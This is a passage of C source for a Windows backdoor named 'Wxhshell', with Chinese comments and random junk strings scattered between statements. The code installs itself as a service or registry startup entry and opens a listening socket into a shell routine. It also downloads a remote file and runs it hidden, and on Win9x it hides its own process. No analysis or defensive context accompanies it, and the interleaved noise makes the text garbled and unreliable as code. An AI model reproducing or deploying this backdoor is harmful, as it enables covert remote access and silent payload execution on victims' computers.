HMODULE hMod; Z8v\>@?5R char procName[255]; c&['T+X unsigned long cbNeeded; ]'.qRTz'\t \CB^9-V3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !np_B0` |t,sK aL CloseHandle(hProcess); ,=/9Ld2w9 ,Py\Cp=Dw if(strstr(procName,"services")) return 1; // 以服务启动 Sd+5Uf` qv!(In>u return 0; // 注册表启动 <=(K'eqC^ } 7 N}@zPAZ 7Cz~nin>7 // 主模块 26V6Y2X int StartWxhshell(LPSTR lpCmdLine) T(!1\ TB { r~b.tpH SOCKET wsl; a>4/2#J BOOL val=TRUE; Dri6\/0 int port=0; qe]D4K8`Q3 struct sockaddr_in door; I?T
! {^]qaQ[5N if(wscfg.ws_autoins) Install(); UZdnsG7 FFT)m^4p. port=atoi(lpCmdLine); x39tnf/F N,`@Q7 if(port<=0) port=wscfg.ws_port; Agcss20. c`E>7Hjr- WSADATA data; #MC#K{Xd if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &;Ncc,jb K,4Ig! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z#{Y>.b setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FZ*"^=)`G door.sin_family = AF_INET; " ityx? door.sin_addr.s_addr = inet_addr("127.0.0.1"); CD1Ma8I8 door.sin_port = htons(port); R|?n B`SX3,3 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <spG]Xa< closesocket(wsl); x[A|@\Z return 1; +y|
B"}x } +17!v_4^ .Xlo-gHk if(listen(wsl,2) == INVALID_SOCKET) {
yg\QtWWM closesocket(wsl); D+T/ Z) return 1; {_7hX`p } @ &jR^`Y. Wxhshell(wsl); \kE0h\ WSACleanup(); ys=2!P-[# FB k7Cn! return 0; '4,?YcZ?S `zoHgn7B9q } c |0p'EQ !t% 1G. // 以NT服务方式启动 P|NGAd VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5BrN
uR$ { V_i&@<J DWORD status = 0; `E~"T0RX DWORD specificError = 0xfffffff; Y3@+aA ~/^fdGr serviceStatus.dwServiceType = SERVICE_WIN32; PYQ0&;z serviceStatus.dwCurrentState = SERVICE_START_PENDING; lDS y$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LWr YKi serviceStatus.dwWin32ExitCode = 0; ("`"?G serviceStatus.dwServiceSpecificExitCode = 0; d=1\= d/K serviceStatus.dwCheckPoint = 0; 3MQHoxX serviceStatus.dwWaitHint = 0; /&6{}n D#nH g hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <Zva if (hServiceStatusHandle==0) return; VEV?$R7; 1 |z4]R,< status = GetLastError(); y[J9"k(@ if (status!=NO_ERROR) XT/t\\Z`U { :EW1I>}_ serviceStatus.dwCurrentState = SERVICE_STOPPED; =Ti!9_~ serviceStatus.dwCheckPoint = 0; +S+!:IB serviceStatus.dwWaitHint = 0; Q8m~L1//S serviceStatus.dwWin32ExitCode = status; gX" serviceStatus.dwServiceSpecificExitCode = specificError; 5Q"yn2b4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); bI.hG32 return; nw+t!C } Sr+hB>{ =1 Plu5 serviceStatus.dwCurrentState = SERVICE_RUNNING; C\{A|'l!x serviceStatus.dwCheckPoint = 0; m9h<)D '> serviceStatus.dwWaitHint = 0; =2q#- ,t if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {?Slo5X| } "Lvk?k
)hx E}Cz(5 // 处理NT服务事件,比如:启动、停止 [kJ;Uxncz~ VOID WINAPI NTServiceHandler(DWORD fdwControl) zE;|MU@| { BMq> Cj+ switch(fdwControl) "yymnIQ3u { Q 1i5"'][ case SERVICE_CONTROL_STOP: ?C CQm serviceStatus.dwWin32ExitCode = 0; cO:lpsKYQ serviceStatus.dwCurrentState = SERVICE_STOPPED; ;9~YQW@| serviceStatus.dwCheckPoint = 0; 0L;,\&*u serviceStatus.dwWaitHint = 0; *mV?_4!,f7 { [__P-h{J SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fs>MFj } [XPAI[" return; r'ilJ(" case SERVICE_CONTROL_PAUSE: "d}']M?-h serviceStatus.dwCurrentState = SERVICE_PAUSED; ,t_&tbf3 break; tOXyle~C case SERVICE_CONTROL_CONTINUE: Ew4D';&; serviceStatus.dwCurrentState = SERVICE_RUNNING; 1GA.c: break; !- [ZQ case SERVICE_CONTROL_INTERROGATE: z<Z0/a2'1 break; J"#6m&R_q }; )P?0YC SetServiceStatus(hServiceStatusHandle, &serviceStatus); xM{[~Kh_x } ,7$&gx>2& }S"gZ6 // 标准应用程序主函数 Q>[{9bI4QP int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U| yt { YdV.+v(30 JQLQS // 获取操作系统版本 P|1 D6 OsIsNt=GetOsVer(); RrLj5 Jq GetModuleFileName(NULL,ExeFile,MAX_PATH); j7d^ga-` xJ#O|7N // 从命令行安装 5X8 i=M; if(strpbrk(lpCmdLine,"iI")) Install(); ?taC
!{ uv5NqL& // 下载执行文件 q'fOlq if(wscfg.ws_downexe) { RJ'za1@z;b if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "r`2V-E WinExec(wscfg.ws_filenam,SW_HIDE); `]]m$ } T6SYXQd>. uf]wX(*<k if(!OsIsNt) { PL"=> // 如果时win9x,隐藏进程并且设置为注册表启动 9~^k3!>0 HideProc(); k
%{q
q v StartWxhshell(lpCmdLine); nVlZ_72d } .`*;AT else `C7pM if(StartFromService())
wBlE!Pm // 以服务方式启动 t.&JPTK-H StartServiceCtrlDispatcher(DispatchTable); <=!t!_ else o^5UHFxTCB // 普通方式启动 g[y&GCKY!= StartWxhshell(lpCmdLine);
Ce//;Op @@a#DjE%/ return 0; Bd*Ok] }
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